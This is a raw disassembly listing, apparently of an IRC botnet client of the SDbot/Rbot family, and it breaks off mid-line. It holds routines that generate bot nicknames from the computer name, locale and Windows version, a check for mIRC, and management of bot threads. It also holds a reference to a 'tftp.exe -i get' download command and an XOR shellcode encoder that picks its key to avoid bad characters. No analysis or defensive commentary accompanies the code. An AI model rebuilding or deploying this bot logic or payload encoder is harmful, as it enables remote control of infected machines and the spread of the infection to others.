sub_40A019 proc near ; CODE XREF: sub_401CC1+1D7Fp ; sub_401CC1+1ECDp ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41B190 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4E0848 movzx eax, [ebp+var_D] push eax mov esi, offset dword_4E09CC movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41B740 add esp, 18h mov eax, esi pop esi leave retn sub_40A019 endp ; =============== S U B R O U T I N E ======================================= sub_40A072 proc near ; CODE XREF: .nsp0:0040B8D0p ; sub_411ED9+24Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40A09B mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40A08E: ; CODE XREF: sub_40A072+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40A08E pop edi jmp short loc_40A09F ; --------------------------------------------------------------------------- loc_40A09B: ; CODE XREF: sub_40A072+Aj mov edx, [esp+4+arg_0] loc_40A09F: ; CODE XREF: sub_40A072+27j test esi, esi pop esi jz short loc_40A0A9 movzx ecx, byte ptr [edx] add eax, ecx loc_40A0A9: ; CODE XREF: sub_40A072+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40A072 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp-4], esi jle short loc_40A0EC mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_40A0DE: ; CODE XREF: .nsp0:0040A0E6j movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_40A0DE pop edi cmp eax, 1 loc_40A0EC: ; CODE XREF: .nsp0:0040A0D2j jnz short loc_40A0F9 mov al, [edx] mov [ebp-4], al movzx eax, word ptr [ebp-4] add esi, eax loc_40A0F9: ; CODE XREF: .nsp0:loc_40A0ECj mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax leave retn ; =============== S U B R O U T I N E ======================================= sub_40A112 proc near ; CODE XREF: sub_40A4F6+49p ; DATA XREF: .nsp0:off_4453D8o arg_0 = dword ptr 4 push esi push edi call dword_4F1364 ; GetTickCount push eax call sub_41B840 call sub_41B850 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+0Ch+arg_0] push off_445440[edx*4] push offset aS_28 ; "%s" push 1Ch push edi call sub_41B910 xor esi, esi add esp, 14h cmp dword_43A098, esi jle short loc_40A179 loc_40A153: ; CODE XREF: sub_40A112+65j call sub_41B850 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI_0 ; "%s%i" push 1Ch push edi call sub_41B910 add esp, 14h inc esi cmp esi, dword_43A098 jl short loc_40A153 loc_40A179: ; CODE XREF: sub_40A112+3Fj mov eax, edi pop edi pop esi retn sub_40A112 endp ; --------------------------------------------------------------------------- push esi push edi call dword_4F1364 ; GetTickCount push eax call sub_41B840 mov edi, [esp+10h] mov dword ptr [esp], offset aXx ; "XX-" push offset aS_29 ; "%s" push 1Ch push edi call sub_41B910 xor esi, esi add esp, 10h cmp dword_43A098, esi jle short loc_40A1D7 loc_40A1B1: ; CODE XREF: .nsp0:0040A1D5j call sub_41B850 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI_1 ; "%s%i" push 1Ch push edi call sub_41B910 add esp, 14h inc esi cmp esi, dword_43A098 jl short loc_40A1B1 loc_40A1D7: ; CODE XREF: .nsp0:0040A1AFj mov eax, edi pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40A1DC proc near ; CODE XREF: sub_401CC1+606Cp arg_0 = dword ptr 4 push ebx push esi push edi call dword_4F1364 ; GetTickCount push eax call sub_41B840 pop ecx call sub_41B850 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_43A098 test esi, esi jle short loc_40A21F loc_40A209: ; CODE XREF: sub_40A1DC+41j call sub_41B850 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40A209 loc_40A21F: ; CODE XREF: sub_40A1DC+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40A1DC endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov esi, offset aPc_0 ; "PC" mov dword ptr [ebp-4], 100h xor edi, edi call dword_4F1364 ; GetTickCount push eax call sub_41B840 pop ecx lea eax, [ebp-4] push eax push esi call dword_4F137C ; GetComputerNameA test eax, eax jnz short loc_40A25E mov esi, offset aPc_1 ; "PC" loc_40A25E: ; CODE XREF: .nsp0:0040A257j movsx eax, byte ptr [esi] push 41h pop ecx loc_40A264: ; CODE XREF: .nsp0:0040A26Fj cmp eax, ecx jnz short loc_40A26B push 1 pop edi loc_40A26B: ; CODE XREF: .nsp0:0040A266j inc ecx cmp ecx, 5Bh jl short loc_40A264 push 61h pop ecx loc_40A274: ; CODE XREF: .nsp0:0040A27Fj cmp eax, ecx jnz short loc_40A27B push 1 pop edi loc_40A27B: ; CODE XREF: .nsp0:0040A276j inc ecx cmp ecx, 7Bh jl short loc_40A274 test edi, edi jnz short loc_40A28A mov esi, offset aPc_2 ; "PC" loc_40A28A: ; CODE XREF: .nsp0:0040A283j mov edi, [ebp+8] push esi push 1Ch push edi call sub_41B910 xor esi, esi add esp, 0Ch cmp dword_43A098, esi jle short loc_40A2C9 loc_40A2A3: ; CODE XREF: .nsp0:0040A2C7j call sub_41B850 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI_2 ; "%s%i" push 1Ch push edi call sub_41B910 add esp, 14h inc esi cmp esi, dword_43A098 jl short loc_40A2A3 loc_40A2C9: ; CODE XREF: .nsp0:0040A2A1j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call dword_4F1364 ; GetTickCount push eax call sub_41B840 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call dword_4F1380 ; GetLocaleInfoA mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset aS_30 ; "%s|" push 1Ch push edi call sub_41B910 xor esi, esi add esp, 10h cmp dword_43A098, esi jle short loc_40A33E loc_40A318: ; CODE XREF: .nsp0:0040A33Cj call sub_41B850 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI_3 ; "%s%i" push 1Ch push edi call sub_41B910 add esp, 14h inc esi cmp esi, dword_43A098 jl short loc_40A318 loc_40A33E: ; CODE XREF: .nsp0:0040A316j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset dword_4E09E8 mov dword ptr [ebp-94h], 94h call dword_4F1384 ; GetVersionExA call dword_4F1364 ; GetTickCount push eax call sub_41B840 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40A3C8 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40A3A8 cmp dword ptr [ebp-84h], 1 jnz short loc_40A398 mov esi, offset a95 ; "95" loc_40A398: ; CODE XREF: .nsp0:0040A391j cmp dword ptr [ebp-84h], 2 jnz short loc_40A404 mov esi, offset aNt ; "NT" jmp short loc_40A404 ; --------------------------------------------------------------------------- loc_40A3A8: ; CODE XREF: .nsp0:0040A388j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40A3B8 mov esi, offset a98 ; "98" jmp short loc_40A404 ; --------------------------------------------------------------------------- loc_40A3B8: ; CODE XREF: .nsp0:0040A3AFj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40A3FF mov esi, offset aMe_0 ; "ME" jmp short loc_40A404 ; --------------------------------------------------------------------------- loc_40A3C8: ; CODE XREF: .nsp0:0040A37Fj cmp dword ptr [ebp-90h], 5 jnz short loc_40A3FF cmp dword ptr [ebp-8Ch], 0 jnz short loc_40A3E1 mov esi, offset a2k ; "2K" jmp short loc_40A404 ; --------------------------------------------------------------------------- loc_40A3E1: ; CODE XREF: .nsp0:0040A3D8j cmp dword ptr [ebp-8Ch], 1 jnz short loc_40A3F1 mov esi, offset aXp_1 ; "XP" jmp short loc_40A404 ; --------------------------------------------------------------------------- loc_40A3F1: ; CODE XREF: .nsp0:0040A3E8j cmp dword ptr [ebp-8Ch], 2 mov esi, offset a2k3 ; "2K3" jz short loc_40A404 loc_40A3FF: ; CODE XREF: .nsp0:0040A3BFj ; .nsp0:0040A3CFj mov esi, offset a???_0 ; "???" loc_40A404: ; CODE XREF: .nsp0:0040A39Fj ; .nsp0:0040A3A6j ... mov edi, [ebp+8] push esi push offset aS_31 ; "[%s]|" push 1Ch push edi call sub_41B910 xor esi, esi add esp, 10h cmp dword_43A098, esi jle short loc_40A448 loc_40A422: ; CODE XREF: .nsp0:0040A446j call sub_41B850 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI_4 ; "%s%i" push 1Ch push edi call sub_41B910 add esp, 14h inc esi cmp esi, dword_43A098 jl short loc_40A422 loc_40A448: ; CODE XREF: .nsp0:0040A420j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A44E proc near ; CODE XREF: sub_40A4F6+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call dword_4F1364 ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx push 0 mov esi, eax cmp esi, 64h jbe short loc_40A49D push offset aMirc_0 ; "mIRC" call dword_4E08AC test eax, eax mov eax, offset aM_0 ; "[M]" jnz short loc_40A486 mov eax, offset dword_4E09EC loc_40A486: ; CODE XREF: sub_40A44E+31j push eax push esi push offset aDS ; "[%d]%s" lea eax, [ebp+var_1C] push 1Ch push eax call sub_41B910 add esp, 14h jmp short loc_40A4C2 ; --------------------------------------------------------------------------- loc_40A49D: ; CODE XREF: sub_40A44E+1Dj push offset aMirc_1 ; "mIRC" call dword_4E08AC test eax, eax mov eax, offset aM_1 ; "[M]" jnz short loc_40A4B6 mov eax, offset dword_4E09F0 loc_40A4B6: ; CODE XREF: sub_40A44E+61j push eax lea eax, [ebp+var_1C] push eax call sub_41B740 pop ecx pop ecx loc_40A4C2: ; CODE XREF: sub_40A44E+4Dj lea eax, [ebp+var_1C] push eax call sub_418D00 pop ecx cmp eax, 2 pop esi jbe short loc_40A4F1 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41C7A0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41B1F0 add esp, 18h loc_40A4F1: ; CODE XREF: sub_40A44E+82j mov eax, [ebp+arg_0] leave retn sub_40A44E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A4F6 proc near ; CODE XREF: sub_4019E1+7Fp ; sub_401B49+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_4453D4 loc_40A502: ; CODE XREF: sub_40A4F6+3Fj cmp [ebp+arg_C], 0 jz short loc_40A51D lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41C4C0 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40A527 ; --------------------------------------------------------------------------- loc_40A51D: ; CODE XREF: sub_40A4F6+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40A527: ; CODE XREF: sub_40A4F6+25j test eax, eax jnz short loc_40A539 add esi, 14h inc edi cmp esi, offset off_44544C jl short loc_40A502 jmp short loc_40A547 ; --------------------------------------------------------------------------- loc_40A539: ; CODE XREF: sub_40A4F6+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_4453D8[eax*4] pop ecx loc_40A547: ; CODE XREF: sub_40A4F6+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40A55A push [ebp+arg_0] call sub_40A44E pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40A55A: ; CODE XREF: sub_40A4F6+57j mov eax, [ebp+arg_0] pop ebp retn sub_40A4F6 endp ; =============== S U B R O U T I N E ======================================= sub_40A55F proc near ; CODE XREF: sub_40A57F+Ap ; sub_40A657+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418D00 push [esp+8+arg_4] mov esi, eax call sub_418D00 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_40A55F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A57F proc near ; CODE XREF: .nsp0:0040A6B7p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_40A55F cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_40A59C xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40A59C: ; CODE XREF: sub_40A57F+17j push ebx push esi push edi push [ebp+arg_8] call sub_418D00 push [ebp+arg_C] mov esi, eax call sub_418D00 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_4491C4, eax lea eax, [edi+1] mov dword_4491E5, eax lea eax, [edi+17h] mov dword_4491DD, eax pop eax push 74h sub eax, edi push offset dword_449160 push ebx mov dword_4491F3, eax call near ptr sub_41C8D0 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call near ptr sub_41C8D0 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call near ptr sub_41C8D0 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call near ptr sub_41C8D0 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call near ptr sub_41C8D0 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call near ptr sub_41C8D0 add esi, edi push 38h add esi, ebx push offset byte_4491E9 push esi call near ptr sub_41C8D0 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_40A57F endp ; =============== S U B R O U T I N E ======================================= sub_40A657 proc near ; CODE XREF: .nsp0:0040A67Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40A55F push eax call sub_40A6DB add esp, 0Ch retn sub_40A657 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, [ebp+10h] push edi mov edi, [ebp+14h] push edi push ebx call sub_40A657 cmp eax, [ebp+0Ch] pop ecx pop ecx ja short loc_40A68E cmp eax, 0FFFFh jbe short loc_40A692 loc_40A68E: ; CODE XREF: .nsp0:0040A685j xor eax, eax jmp short loc_40A6D7 ; --------------------------------------------------------------------------- loc_40A692: ; CODE XREF: .nsp0:0040A68Cj push esi push edi push ebx call sub_40A55F add eax, 101h push eax call sub_418ED0 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_40A55F pop ecx pop ecx push eax push esi call sub_40A57F push eax push esi push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40A6F6 push esi mov edi, eax call sub_419940 add esp, 24h mov eax, edi pop esi loc_40A6D7: ; CODE XREF: .nsp0:0040A690j pop edi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_40A6DB proc near ; CODE XREF: sub_40A657+Ep ; sub_40A6F6+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_40A6E4 inc ecx loc_40A6E4: ; CODE XREF: sub_40A6DB+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_40A6DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A6F6 proc near ; CODE XREF: .nsp0:0040A6C4p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_40A712 cmp byte ptr [ebp+arg_C], 0Dh jz short loc_40A712 cmp byte ptr [ebp+arg_C], 5Ch jz short loc_40A712 cmp byte ptr [ebp+arg_C], 0 jnz short loc_40A715 loc_40A712: ; CODE XREF: sub_40A6F6+8j ; sub_40A6F6+Ej ... inc [ebp+arg_C] loc_40A715: ; CODE XREF: sub_40A6F6+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_40A73D mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_40A736 cmp al, 0Dh jz short loc_40A736 cmp al, 5Ch jz short loc_40A736 test al, al jnz short loc_40A73D loc_40A736: ; CODE XREF: sub_40A6F6+32j ; sub_40A6F6+36j ... add [ebp+arg_C], 100h loc_40A73D: ; CODE XREF: sub_40A6F6+28j ; sub_40A6F6+3Ej push [ebp+arg_C] call sub_40A6DB cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_40A755 cmp eax, 0FFFFh jbe short loc_40A75C loc_40A755: ; CODE XREF: sub_40A6F6+56j xor eax, eax jmp loc_40A7FA ; --------------------------------------------------------------------------- loc_40A75C: ; CODE XREF: sub_40A6F6+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_4E09F4 xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_40A78C loc_40A770: ; CODE XREF: sub_40A6F6+94j mov al, [edx+edi] xor al, bl jz short loc_40A783 cmp al, 0Ah jz short loc_40A783 cmp al, 0Dh jz short loc_40A783 cmp al, 5Ch jnz short loc_40A787 loc_40A783: ; CODE XREF: sub_40A6F6+7Fj ; sub_40A6F6+83j ... inc bl xor edx, edx loc_40A787: ; CODE XREF: sub_40A6F6+8Bj inc edx cmp edx, ecx jb short loc_40A770 loc_40A78C: ; CODE XREF: sub_40A6F6+78j cmp ecx, esi mov byte_4E09F4, bl ja short loc_40A7B8 push 15h push offset loc_449148 push [ebp+arg_0] mov byte_449155, cl mov byte_449159, bl call near ptr sub_41C8D0 add esp, 0Ch push 15h jmp short loc_40A7D9 ; --------------------------------------------------------------------------- loc_40A7B8: ; CODE XREF: sub_40A6F6+9Ej push 17h push offset loc_449130 push [ebp+arg_0] mov word_44913E, cx mov byte_449143, bl call near ptr sub_41C8D0 add esp, 0Ch push 17h loc_40A7D9: ; CODE XREF: sub_40A6F6+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_40A7F5 mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_40A7E7: ; CODE XREF: sub_40A6F6+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_40A7E7 loc_40A7F5: ; CODE XREF: sub_40A6F6+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_40A7FA: ; CODE XREF: sub_40A6F6+61j pop esi leave retn sub_40A6F6 endp ; =============== S U B R O U T I N E ======================================= sub_40A7FD proc near ; CODE XREF: sub_40141B+375p ; sub_40141B+3B1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_4535C8 loc_40A805: ; CODE XREF: sub_40A7FD+18j cmp byte ptr [eax], 0 jz short loc_40A819 add eax, 234h inc edi cmp eax, offset dword_4E05C8 jl short loc_40A805 jmp short loc_40A864 ; --------------------------------------------------------------------------- loc_40A819: ; CODE XREF: sub_40A7FD+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_4535C8[esi] push eax call sub_41B1F0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_4537C8[esi], eax and dword_4537CC[esi], 0 mov eax, [esp+8+arg_8] and dword_4537D0[esi], 0 mov dword_4537D4[esi], eax and byte_4537E0[esi], 0 pop esi loc_40A864: ; CODE XREF: sub_40A7FD+1Aj mov eax, edi pop edi retn sub_40A7FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A868 proc near ; DATA XREF: sub_401CC1+24C3o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd push [ebp+var_10] mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] call sub_40A8BA push [ebp+var_14] call sub_40AB19 add esp, 14h push 0 call dword_4F1388 ; ExitThread pop edi pop esi sub_40A868 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A8BA proc near ; CODE XREF: sub_40A868+38p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_449224 push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 14h xor edi, edi mov esi, offset dword_4535C8 loc_40A8E4: ; CODE XREF: sub_40A8BA+78j cmp byte ptr [esi], 0 jz short loc_40A925 cmp [ebp+arg_C], 0 jnz short loc_40A8F8 cmp dword ptr [esi+204h], 0 jnz short loc_40A925 loc_40A8F8: ; CODE XREF: sub_40A8BA+33j push esi push edi lea eax, [ebp+var_200] push offset dword_449238 push eax call sub_41B740 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 24h loc_40A925: ; CODE XREF: sub_40A8BA+2Dj ; sub_40A8BA+3Cj add esi, 234h inc edi cmp esi, offset dword_4E05C8 jl short loc_40A8E4 pop edi pop esi leave retn sub_40A8BA endp ; =============== S U B R O U T I N E ======================================= sub_40A938 proc near ; CODE XREF: sub_401CC1+6E28p ; sub_40A9C6+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40A9C0 cmp esi, 400h jge short loc_40A9C0 imul esi, 234h push edi push ebx push dword_4537DC[esi] lea edi, dword_4537DC[esi] call dword_4F1368 ; TerminateThread cmp [edi], ebx jz short loc_40A970 push 1 pop ebp loc_40A970: ; CODE XREF: sub_40A938+33j mov [edi], ebx lea edi, dword_4537D0[esi] mov dword_4537C8[esi], ebx mov dword_4537CC[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40A991 push eax call sub_4178FE pop ecx loc_40A991: ; CODE XREF: sub_40A938+50j mov [edi], ebx lea edi, dword_4537D4[esi] mov byte ptr dword_4535C8[esi], bl mov byte_4537E0[esi], bl push dword ptr [edi] call dword_4E0934 lea esi, dword_4537D8[esi] mov [edi], ebx push dword ptr [esi] call dword_4E0934 mov [esi], ebx pop edi loc_40A9C0: ; CODE XREF: sub_40A938+Dj ; sub_40A938+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40A938 endp ; =============== S U B R O U T I N E ======================================= sub_40A9C6 proc near ; CODE XREF: sub_401317+18p ; sub_40141B:loc_4019CDp ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_4535C8 loc_40A9D2: ; CODE XREF: sub_40A9C6+2Aj cmp byte ptr [esi], 0 jz short loc_40A9E3 push edi call sub_40A938 test eax, eax pop ecx jz short loc_40A9E3 inc ebx loc_40A9E3: ; CODE XREF: sub_40A9C6+Fj ; sub_40A9C6+1Aj add esi, 234h inc edi cmp esi, offset dword_4E05C8 jl short loc_40A9D2 pop edi mov eax, ebx pop esi pop ebx retn sub_40A9C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A9F8 proc near ; CODE XREF: sub_401CC1+3BD8p ; sub_401CC1+3CABp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_4537CC loc_40AA0C: ; CODE XREF: sub_40A9F8+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40AA2E test edi, edi jle short loc_40AA20 cmp [esi], edi jz short loc_40AA20 cmp ebx, edi jnz short loc_40AA2E loc_40AA20: ; CODE XREF: sub_40A9F8+1Ej ; sub_40A9F8+22j push ebx call sub_40A938 test eax, eax pop ecx jz short loc_40AA2E inc [ebp+var_4] loc_40AA2E: ; CODE XREF: sub_40A9F8+1Aj ; sub_40A9F8+26j ... add esi, 234h inc ebx cmp esi, offset dword_4E07CC jl short loc_40AA0C mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40A9F8 endp ; =============== S U B R O U T I N E ======================================= sub_40AA45 proc near ; CODE XREF: sub_40141B+409p ; sub_401CC1+187Fp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_4537C8 loc_40AA4C: ; CODE XREF: sub_40AA45+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40AA55 inc eax loc_40AA55: ; CODE XREF: sub_40AA45+Dj add ecx, 234h cmp ecx, offset dword_4E07C8 jl short loc_40AA4C retn sub_40AA45 endp ; =============== S U B R O U T I N E ======================================= sub_40AA64 proc near ; CODE XREF: sub_401CC1+1F68p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_4537C8 loc_40AA6E: ; CODE XREF: sub_40AA64+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40AA87 add ecx, 234h inc edx cmp ecx, offset dword_4E07C8 jl short loc_40AA6E pop esi retn ; --------------------------------------------------------------------------- loc_40AA87: ; CODE XREF: sub_40AA64+10j mov eax, edx pop esi retn sub_40AA64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA8B proc near ; CODE XREF: sub_401CC1+D33p ; sub_401CC1+F39p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40AAA4 push [ebp+arg_1C] call sub_41B3F0 pop ecx loc_40AAA4: ; CODE XREF: sub_40AA8B+Ej push eax push [ebp+arg_18] call sub_40A9F8 pop ecx test eax, eax pop ecx jle short loc_40AAD0 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41B740 add esp, 14h jmp short loc_40AAEA ; --------------------------------------------------------------------------- loc_40AAD0: ; CODE XREF: sub_40AA8B+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41B740 add esp, 10h loc_40AAEA: ; CODE XREF: sub_40AA8B+43j cmp [ebp+arg_C], 0 jnz short loc_40AB0A push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 14h loc_40AB0A: ; CODE XREF: sub_40AA8B+63j lea eax, [ebp+var_200] push eax call sub_41458A pop ecx leave retn sub_40AA8B endp ; =============== S U B R O U T I N E ======================================= sub_40AB19 proc near ; CODE XREF: sub_4019E1+159p ; sub_40A868+40p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_4537DC[eax], ecx mov dword_4537C8[eax], ecx mov dword_4537CC[eax], ecx mov dword_4537D0[eax], ecx mov dword_4537D4[eax], ecx mov dword_4537D8[eax], ecx mov byte ptr dword_4535C8[eax], cl mov byte_4537E0[eax], cl retn sub_40AB19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB56 proc near ; CODE XREF: sub_401CC1+709Dp ; sub_40AC84+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40AB60: ; CODE XREF: sub_40AB56+68j mov cl, [esi] test cl, cl jz short loc_40ABC0 cmp eax, 1 jnz short loc_40ABC0 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40ABC0 cmp cl, 2Ah jz short loc_40ABA7 cmp cl, 3Fh jz short loc_40AB8A cmp cl, 5Bh jz short loc_40AB8F xor eax, eax cmp cl, dl setz al loc_40AB8A: ; CODE XREF: sub_40AB56+26j inc [ebp+arg_4] jmp short loc_40ABBA ; --------------------------------------------------------------------------- loc_40AB8F: ; CODE XREF: 